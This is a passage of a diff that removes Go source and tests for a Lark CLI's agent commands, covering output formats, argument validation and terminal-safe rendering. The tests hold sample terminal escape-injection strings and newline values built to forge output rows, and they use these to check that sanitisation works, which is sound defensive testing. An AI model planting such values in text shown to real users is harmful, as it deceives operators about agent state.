-	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
-		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
-	}
-	data, _ := env.Data.(map[string]interface{})
-	v, present := data["contexts"]
-	if !present {
-		t.Fatal("data.contexts key should be present")
-	}
-	if _, ok := v.([]interface{}); !ok {
-		t.Errorf("empty context list should emit a JSON array (not null), got %T: %v", v, v)
-	}
-	if env.Meta == nil || env.Meta.Count != 0 {
-		t.Errorf("meta.count should be 0, got %+v", env.Meta)
-	}
-}
-
-// TestContextListPretty exercises the --format pretty human-view branch for
-// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
-// stripped of ANSI escapes.
-func TestContextListPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "list")
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
-		return []iagent.ContextSummary{
-			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextListRun(opts); err != nil {
-		t.Fatalf("context list --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
-		t.Errorf("pretty output should start with a header row, got %q", s)
-	}
-	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
-		t.Errorf("pretty output should contain context_id and title, got %q", s)
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
-	}
-	if strings.Contains(s, `"ok"`) {
-		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
-	}
-}
-
-// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
-// filtered through the jq expression.
-func TestContextGetWithJq(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Cmd.Flags().String("jq", "", "")
-	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
-		t.Fatal(err)
-	}
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{ContextID: ctxID}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --jq should not error: %v", err)
-	}
-	got := strings.TrimSpace(string(out.Bytes()))
-	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
-		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
-	}
-}
-
-// TestContextGetPretty pins the --format pretty branch on context get: key:
-// value lines with the task_count / awaiting_input rollup + a one-line
-// active_task digest, title ANSI-stripped, and no full tasks[] list.
-func TestContextGetPretty(t *testing.T) {
-	opts, _ := contextTestOpts(t, "get")
-	opts.CtxID = "sess_1"
-	opts.Format = "pretty"
-	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
-		return &iagent.ContextDetail{
-			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
-			TaskCount: 1, AwaitingInput: false,
-			ActiveTask: &iagent.TaskSummary{
-				TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true, Summary: "分析完成",
-			},
-		}, nil
-	}})
-	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
-	if err := agentContextGetRun(opts); err != nil {
-		t.Fatalf("context get --format pretty should not error: %v", err)
-	}
-	s := string(out.Bytes())
-	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "task_count: 1", "active_task: completed"} {
-		if !strings.Contains(s, want) {
-			t.Errorf("pretty output should contain %q, got %q", want, s)
-		}
-	}
-	if strings.Contains(s, "\x1b") {
-		t.Errorf("ANSI sequences in title must be stripped: %q", s)
-	}
-	if strings.Contains(s, "tasks:") {
-		t.Errorf("context get pretty should no longer render a tasks[] list, got %q", s)
-	}
-}
-
-// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
-func findSub(cmd *cobra.Command, name string) *cobra.Command {
-	for _, c := range cmd.Commands() {
-		if c.Name() == name {
-			return c
-		}
-	}
-	return nil
-}
-
-// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
-// RunE) with list/get/delete leaves.
-func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
-	cmd := NewCmdAgentContext(nil)
-	if cmd.RunE != nil || cmd.Run != nil {
-		t.Error("agent context group should not have RunE")
-	}
-	want := []string{"list", "get", "delete"}
-	for _, name := range want {
-		if findSub(cmd, name) == nil {
-			t.Errorf("missing subcommand context %s", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
-// the default flip: --format defaults to json.
-func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextList(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{}); err == nil {
-		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
-		t.Errorf("context list with a single ref should be valid: %v", err)
-	}
-	fl := cmd.Flags().Lookup("format")
-	if fl == nil || fl.DefValue != "json" {
-		t.Errorf("context list --format default should flip to json, got %+v", fl)
-	}
-}
-
-// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
-// the added --format / --jq flags.
-func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
-	cmd := NewCmdAgentContextGet(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
-		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
-		t.Errorf("context get ref+ctx-id should be valid: %v", err)
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context get should have a --%s flag", name)
-		}
-	}
-}
-
-// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
-// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
-func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
-	cmd := NewCmdAgentContextDelete(nil)
-	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
-		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
-	}
-	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
-		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
-	}
-	if cmd.Flags().Lookup("yes") == nil {
-		t.Error("context delete should have a --yes flag")
-	}
-	for _, name := range []string{"format", "jq"} {
-		if cmd.Flags().Lookup(name) == nil {
-			t.Errorf("context delete should have a --%s flag", name)
-		}
-	}
-}
--- a/cmd/agent/format.go
+++ b/cmd/agent/format.go
@@ -1,200 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// This file holds the --format surface shared by every agent leaf: value
-// validation, the pretty renderers (task key:value view, list
-// header-TSV views) with ANSI stripping for agent-controlled text, and the
-// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
-// validation error carrying a 用法 hint.
-package agent
-
-import (
-	"fmt"
-	"io"
-	"strings"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/validate"
-)
-
-// formatFlagHelp is the uniform --format help text across every agent leaf
-// (json is the tree-wide default, pretty the human opt-in).
-const formatFlagHelp = "output format: json (default) | pretty"
-
-// validateFormat rejects any --format outside json|pretty as a
-// validation/invalid_argument error (exit 2). The empty string is accepted for
-// options structs built directly in tests; the registered flag default is
-// "json" so a CLI invocation never passes "".
-func validateFormat(format string) error {
-	switch format {
-	case "", "json", "pretty":
-		return nil
-	}
-	return errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"不支持的 --format 值 %q", format).
-		WithParam("--format").
-		WithHint("合法值: json | pretty")
-}
-
-// stripANSI sanitizes agent-controlled text before it is written raw to a
-// terminal by a pretty renderer, preventing terminal escape-sequence injection.
-// It delegates to validate.SanitizeForTerminal, which is a superset of the
-// mandated CSI regex:
-// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
-// Unicode. JSON output paths must NOT use this — programmatic consumers get
-// the raw data.
-func stripANSI(s string) string {
-	return validate.SanitizeForTerminal(s)
-}
-
-// kvValue sanitizes an agent-controlled value for a single-line "key: value"
-// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
-// SanitizeForTerminal deliberately preserves those, so without this a value
-// like "done\nstate: completed" would forge an adjacent field row. TSV
-// renderers keep plain stripANSI under their documented no-escape exemption.
-func kvValue(s string) string {
-	s = stripANSI(s)
-	s = strings.ReplaceAll(s, "\n", " ")
-	return strings.ReplaceAll(s, "\t", " ")
-}
-
-// truncateRunes caps s at max runes, appending an ellipsis when truncated.
-func truncateRunes(s string, max int) string {
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}
-
-// firstTextOf returns the first text Part carried by the task's messages
-// (the first text message), or "".
-func firstTextOf(task *iagent.AgentTask) string {
-	for _, m := range task.Messages {
-		for _, p := range m.Parts {
-			if p.Type == "text" && p.Text != "" {
-				return p.Text
-			}
-		}
-	}
-	return ""
-}
-
-// printTaskPretty renders the task-class pretty view: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count. Every agent-controlled string goes through
-// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
-// terminal sequences nor forge an adjacent field row.
-func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
-	if task == nil {
-		fmt.Fprintln(w, "(no task)")
-		return
-	}
-	fmt.Fprintf(w, "state: %s\n", kvValue(string(task.State)))
-	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
-	if task.ContextID != "" {
-		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
-	}
-	if text := firstTextOf(task); text != "" {
-		fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
-	}
-	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
-}
-
-// TSV renderers below intentionally do not escape tab/newline in cell values:
-// a value containing them breaks the column layout. The agent's primary
-// consumption surface is json; pretty is for human inspection only, so leaving
-// them unescaped is acceptable.
-
-// printTaskSummariesTSV renders the list-class pretty view for tasks: a header
-// row naming the json fields, then one row per task. Summary is agent-controlled
-// text, so it is ANSI-stripped AND newline/tab-flattened via kvValue — an
-// unflattened tab/newline would otherwise break the column layout; the ids keep
-// plain stripANSI under the TSV no-escape exemption.
-func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
-	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY\n")
-	for _, t := range tasks {
-		fmt.Fprintf(w, "%s\t%s\t%s\t%t\t%s\t%s\n",
-			stripANSI(t.TaskID), stripANSI(t.ContextID), stripANSI(string(t.State)), t.IsTerminal, stripANSI(t.UpdatedAt), kvValue(t.Summary))
-	}
-}
-
-// printContextsTSV renders the list-class pretty view for contexts. The Title is
-// agent-controlled and ANSI-stripped; TaskCount / AwaitingInput are the
-// conversation-layer rollup used to spot which session needs attention.
-func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
-	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n")
-	for _, c := range contexts {
-		fmt.Fprintf(w, "%s\t%s\t%s\t%s\t%d\t%t\n",
-			stripANSI(c.ContextID), stripANSI(c.CreatedAt), stripANSI(c.UpdatedAt), stripANSI(c.Title), c.TaskCount, c.AwaitingInput)
-	}
-}
-
-// printContextDetailPretty renders `context get --format pretty` as a
-// conversation overview: metadata + the task_count / awaiting_input rollup, and
-// — when present — a one-line digest of the active task
-// (state · updated_at · summary). It deliberately does NOT expand the full task
-// list (that is `agent task list --context-id`). Agent-controlled strings (Title
-// and the active-task Summary) go through kvValue so they cannot forge adjacent
-// field rows.
-func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
-	if detail == nil {
-		fmt.Fprintln(w, "(no context)")
-		return
-	}
-	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
-	if detail.CreatedAt != "" {
-		fmt.Fprintf(w, "created_at: %s\n", kvValue(detail.CreatedAt))
-	}
-	if detail.UpdatedAt != "" {
-		fmt.Fprintf(w, "updated_at: %s\n", kvValue(detail.UpdatedAt))
-	}
-	if detail.Title != "" {
-		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
-	}
-	fmt.Fprintf(w, "task_count: %d\n", detail.TaskCount)
-	fmt.Fprintf(w, "awaiting_input: %t\n", detail.AwaitingInput)
-	if at := detail.ActiveTask; at != nil {
-		fmt.Fprintf(w, "active_task: %s · %s · %s\n", kvValue(string(at.State)), kvValue(at.UpdatedAt), kvValue(at.Summary))
-	}
-}
-
-// usageHintOf builds the "用法: <command path> <positional shape>" hint from
-// the executing command's Use line, so the hint never drifts from the
-// registered Use string.
-func usageHintOf(cmd *cobra.Command) string {
-	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
-		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
-	}
-	return "用法: " + cmd.CommandPath()
-}
-
-// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
-// (exit 2) whose hint carries the full usage string — cobra's bare English
-// "accepts 2 arg(s), received 1" never says WHAT is missing.
-func exactArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) != n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}
-
-// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
-// exactArgsWithUsage, for leaves with an optional positional (agent list).
-func maximumArgsWithUsage(n int) cobra.PositionalArgs {
-	return func(cmd *cobra.Command, args []string) error {
-		if len(args) > n {
-			return errs.NewValidationError(errs.SubtypeInvalidArgument,
-				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
-				WithHint("%s", usageHintOf(cmd))
-		}
-		return nil
-	}
-}
--- a/cmd/agent/format_test.go
+++ b/cmd/agent/format_test.go
@@ -1,381 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"bytes"
-	"encoding/json"
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/output"
-)
-
-// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
-// only occurs when options structs are built directly in tests) pass.
-func TestValidateFormat_Valid(t *testing.T) {
-	for _, f := range []string{"", "json", "pretty"} {
-		if err := validateFormat(f); err != nil {
-			t.Errorf("format %q should be valid: %v", f, err)
-		}
-	}
-}
-
-// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
-// validation/invalid_argument error (exit 2) whose hint lists the legal values
-// and whose param names the flag with the -- prefix.
-func TestValidateFormat_Invalid(t *testing.T) {
-	err := validateFormat("yaml")
-	if err == nil {
-		t.Fatal("--format yaml should error (currently silently treated as json)")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("should be a validation error, got %T", err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("subtype should be invalid_argument, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-	if !strings.Contains(p.Hint, "json | pretty") {
-		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
-	}
-	var verr *errs.ValidationError
-	if !errors.As(err, &verr) || verr.Param != "--format" {
-		t.Errorf("param should be --format, got %+v", verr)
-	}
-}
-
-// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
-// lark-cli), with a nil Factory: format validation must fire at the RunE
-// entry, before any Factory access.
-func agentRootTree() *cobra.Command {
-	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
-	root.AddCommand(NewCmdAgent(nil))
-	return root
-}
-
-// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
-// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
-// hint, uniformly, before any provider/Factory is touched.
-func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
-	leaves := [][]string{
-		{"agent", "list", "--format", "yaml"},
-		{"agent", "card", "example:x", "--format", "yaml"},
-		{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
-		{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
-		{"agent", "task", "list", "example:x", "--format", "yaml"},
-		{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
-		{"agent", "context", "list", "example:x", "--format", "yaml"},
-		{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
-		{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
-	}
-	for _, argv := range leaves {
-		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
-			root := agentRootTree()
-			root.SetOut(&bytes.Buffer{})
-			root.SetErr(&bytes.Buffer{})
-			root.SetArgs(argv)
-			err := root.Execute()
-			if err == nil {
-				t.Fatalf("%v should report a --format validation error", argv)
-			}
-			if !errs.IsValidation(err) {
-				t.Fatalf("should be a validation error, got %T: %v", err, err)
-			}
-			if output.ExitCodeOf(err) != output.ExitValidation {
-				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-			}
-			p, ok := errs.ProblemOf(err)
-			if !ok || !strings.Contains(p.Hint, "json | pretty") {
-				t.Errorf("hint should contain json | pretty, got %+v", p)
-			}
-		})
-	}
-}
-
-// TestFormatHelpTextUniform pins the mandated uniform help text
-// "output format: json (default) | pretty" across every leaf that has --format.
-func TestFormatHelpTextUniform(t *testing.T) {
-	cmds := map[string]*cobra.Command{
-		"list":           NewCmdAgentList(nil),
-		"card":           NewCmdAgentCard(nil),
-		"send":           NewCmdAgentSend(nil, nil),
-		"task get":       NewCmdAgentTaskGet(nil),
-		"task list":      NewCmdAgentTaskList(nil),
-		"task cancel":    NewCmdAgentTaskCancel(nil),
-		"context list":   NewCmdAgentContextList(nil),
-		"context get":    NewCmdAgentContextGet(nil),
-		"context delete": NewCmdAgentContextDelete(nil),
-	}
-	for name, cmd := range cmds {
-		fl := cmd.Flags().Lookup("format")
-		if fl == nil {
-			t.Errorf("%s should have a --format flag", name)
-			continue
-		}
-		if fl.DefValue != "json" {
-			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
-		}
-		if fl.Usage != "output format: json (default) | pretty" {
-			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
-		}
-	}
-}
-
-// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
-// all removed before agent text reaches a terminal.
-func TestStripANSI(t *testing.T) {
-	for _, tt := range []struct{ in, want string }{
-		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
-		{"a\x1bb", "ab"}, // bare ESC
-		{"t\x1b]0;evil\x07x", "tx"},
-		{"clean 文本", "clean 文本"},
-	} {
-		if got := stripANSI(tt.in); got != tt.want {
-			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
-		}
-	}
-}
-
-// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
-// key: value with state / task_id / context_id / first text message truncated
-// to 120 runes / artifacts count — and the agent-controlled text stripped of
-// ANSI escapes.
-func TestPrintTaskPretty(t *testing.T) {
-	long := strings.Repeat("字", 130)
-	task := &iagent.AgentTask{
-		TaskID:    "chat_1",
-		ContextID: "sess_1",
-		State:     iagent.StateCompleted,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
-		}},
-		Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-	text := out.String()
-
-	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
-	}
-	if strings.Contains(text, long) {
-		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
-	}
-	if !strings.Contains(text, strings.Repeat("字", 120)) {
-		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
-	}
-	var env output.Envelope
-	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
-		t.Errorf("pretty should not be a JSON envelope: %s", text)
-	}
-}
-
-// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
-// fix: agent text containing newlines must not be able to fake an adjacent
-// field row ("done\nstate: completed") — \n/\t in single-line values collapse
-// to spaces, so exactly one state: line exists.
-func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
-	task := &iagent.AgentTask{
-		TaskID: "chat_1",
-		State:  iagent.StateFailed,
-		Messages: []iagent.Message{{
-			Role:  "agent",
-			Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
-		}},
-	}
-	out := &bytes.Buffer{}
-	printTaskPretty(out, task)
-
-	var stateLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "state: ") {
-			stateLines++
-		}
-	}
-	if stateLines != 1 {
-		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
-	}
-	if !strings.Contains(out.String(), "state: failed") {
-		t.Errorf("the real state line should remain, got:\n%s", out.String())
-	}
-	if !strings.Contains(out.String(), "text: done state: completed ok") {
-		t.Errorf("\\n/\\t in the body should be replaced by spaces, got:\n%s", out.String())
-	}
-}
-
-// TestPrintContextDetailPretty_NewlineForgeryNeutralized pins the same fix on
-// the context title row.
-func TestPrintContextDetailPretty_NewlineForgeryNeutralized(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID: "sess_1",
-		Title:     "标题\ncontext_id: forged",
-	})
-	var idLines int
-	for _, line := range strings.Split(out.String(), "\n") {
-		if strings.HasPrefix(line, "context_id: ") {
-			idLines++
-		}
-	}
-	if idLines != 1 {
-		t.Fatalf("title newlines must not forge a context_id row; there should be exactly 1 line, got %d:\n%s", idLines, out.String())
-	}
-}
-
-// TestPrintTaskPretty_NilTask pins the nil degradation (no panic).
-func TestPrintTaskPretty_NilTask(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskPretty(out, nil)
-	if out.Len() == 0 {
-		t.Error("nil task should print a placeholder line")
-	}
-}
-
-// TestPrintTaskSummariesTSV pins the list-class pretty spec: a header row
-// naming the json fields (now including UPDATED_AT + SUMMARY), then one
-// tab-separated row per task. Summary is agent-controlled, so it is
-// ANSI-stripped AND newline/tab-flattened via kvValue.
-func TestPrintTaskSummariesTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printTaskSummariesTSV(out, []iagent.TaskSummary{
-		{TaskID: "chat_1", ContextID: "sess_1", State: iagent.StateCompleted, IsTerminal: true,
-			UpdatedAt: "2026-07-05T12:00:00Z", Summary: "分析\n完成\x1b[0m"},
-	})
-	lines := strings.Split(strings.TrimSpace(out.String()), "\n")
-	if len(lines) != 2 {
-		t.Fatalf("should have a header + 1 data row, got %q", out.String())
-	}
-	if lines[0] != "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\tUPDATED_AT\tSUMMARY" {
-		t.Errorf("header columns should match the json field names, got %q", lines[0])
-	}
-	// Summary: ANSI escape stripped, newline flattened to a space.
-	if lines[1] != "chat_1\tsess_1\tcompleted\ttrue\t2026-07-05T12:00:00Z\t分析 完成" {
-		t.Errorf("data row mismatch, got %q", lines[1])
-	}
-}
-
-// TestPrintContextsTSV pins the context-list pretty spec: header row (now
-// carrying the UPDATED_AT / TASK_COUNT / AWAITING_INPUT rollup columns) plus
-// rows, with the agent-controlled Title stripped of ANSI escapes.
-func TestPrintContextsTSV(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextsTSV(out, []iagent.ContextSummary{
-		{ContextID: "sess_1", CreatedAt: "2026-07-05T10:00:00+08:00", UpdatedAt: "2026-07-05T12:00:00+08:00",
-			Title: "\x1b[2J销售分析", TaskCount: 3, AwaitingInput: true},
-	})
-	text := out.String()
-	if !strings.HasPrefix(text, "CONTEXT_ID\tCREATED_AT\tUPDATED_AT\tTITLE\tTASK_COUNT\tAWAITING_INPUT\n") {
-		t.Errorf("should have a header row with the rollup columns, got %q", text)
-	}
-	if !strings.Contains(text, "销售分析") {
-		t.Errorf("should contain the title text, got %q", text)
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences in Title must be stripped: %q", text)
-	}
-	// The rollup columns (task_count + awaiting_input) trail the row.
-	if !strings.Contains(text, "\t3\ttrue") {
-		t.Errorf("should carry the task_count + awaiting_input rollup, got %q", text)
-	}
-}
-
-// TestPrintContextDetailPretty pins the context-get pretty rendering as a
-// conversation overview: metadata + the task_count / awaiting_input rollup and
-// a one-line active_task digest — NOT a full tasks[] list (that is `agent task
-// list --context-id`). Title and the active-task Summary are agent-controlled,
-// so both are ANSI-stripped + newline-flattened.
-func TestPrintContextDetailPretty(t *testing.T) {
-	out := &bytes.Buffer{}
-	printContextDetailPretty(out, &iagent.ContextDetail{
-		ContextID:     "sess_1",
-		CreatedAt:     "2026-07-05T10:00:00+08:00",
-		UpdatedAt:     "2026-07-05T12:00:00+08:00",
-		Title:         "\x1b[31m分析\x1b[0m",
-		TaskCount:     2,
-		AwaitingInput: true,
-		ActiveTask: &iagent.TaskSummary{
-			TaskID: "chat_2", State: iagent.StateInputRequired,
-			UpdatedAt: "2026-07-05T12:00:00+08:00", Summary: "请提供\n季度\x1b[0m",
-		},
-	})
-	text := out.String()
-	for _, want := range []string{
-		"context_id: sess_1", "updated_at: 2026-07-05T12:00:00+08:00", "title: 分析",
-		"task_count: 2", "awaiting_input: true", "active_task: input_required",
-	} {
-		if !strings.Contains(text, want) {
-			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
-		}
-	}
-	// active-task Summary: newline flattened to a space.
-	if !strings.Contains(text, "请提供 季度") {
-		t.Errorf("active_task summary should be ANSI-stripped + newline-flattened, got:\n%s", text)
-	}
-	if strings.Contains(text, "\x1b") {
-		t.Errorf("ANSI sequences must be stripped: %q", text)
-	}
-	// The full task enumeration must NOT appear here anymore.
-	if strings.Contains(text, "tasks:") {
-		t.Errorf("context get should no longer render a tasks[] list, got:\n%s", text)
-	}
-}
-
-// TestExactArgsUsageHint pins that an arg-count error carries a usage hint
-// built from the real command path + Use shape, so the caller learns what is
-// missing instead of cobra's bare "accepts 2 arg(s)".
-func TestExactArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "task", "get", "example:x"}) // missing task-id
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("task get with a single argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent task get <agent_ref> <task-id>") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-	if output.ExitCodeOf(err) != output.ExitValidation {
-		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
-	}
-}
-
-// TestMaximumArgsUsageHint pins the same treatment for the MaximumNArgs leaf
-// (`agent list [scheme]`).
-func TestMaximumArgsUsageHint(t *testing.T) {
-	root := agentRootTree()
-	root.SetOut(&bytes.Buffer{})
-	root.SetErr(&bytes.Buffer{})
-	root.SetArgs([]string{"agent", "list", "example", "extra"})
-	err := root.Execute()
-	if err == nil {
-		t.Fatal("list with more than 1 positional argument should error")
-	}
-	if !errs.IsValidation(err) {
-		t.Fatalf("an arg-count error should be a validation type, got %T: %v", err, err)
-	}
-	p, ok := errs.ProblemOf(err)
-	if !ok || !strings.Contains(p.Hint, "用法: lark-cli agent list [scheme]") {
-		t.Fatalf("hint should contain the usage string, got %+v", p)
-	}
-}
--- a/cmd/agent/list.go
+++ b/cmd/agent/list.go
@@ -1,207 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-
-	"github.com/spf13/cobra"
-
-	"github.com/larksuite/cli/errs"
-	iagent "github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/cmdutil"
-	"github.com/larksuite/cli/internal/core"
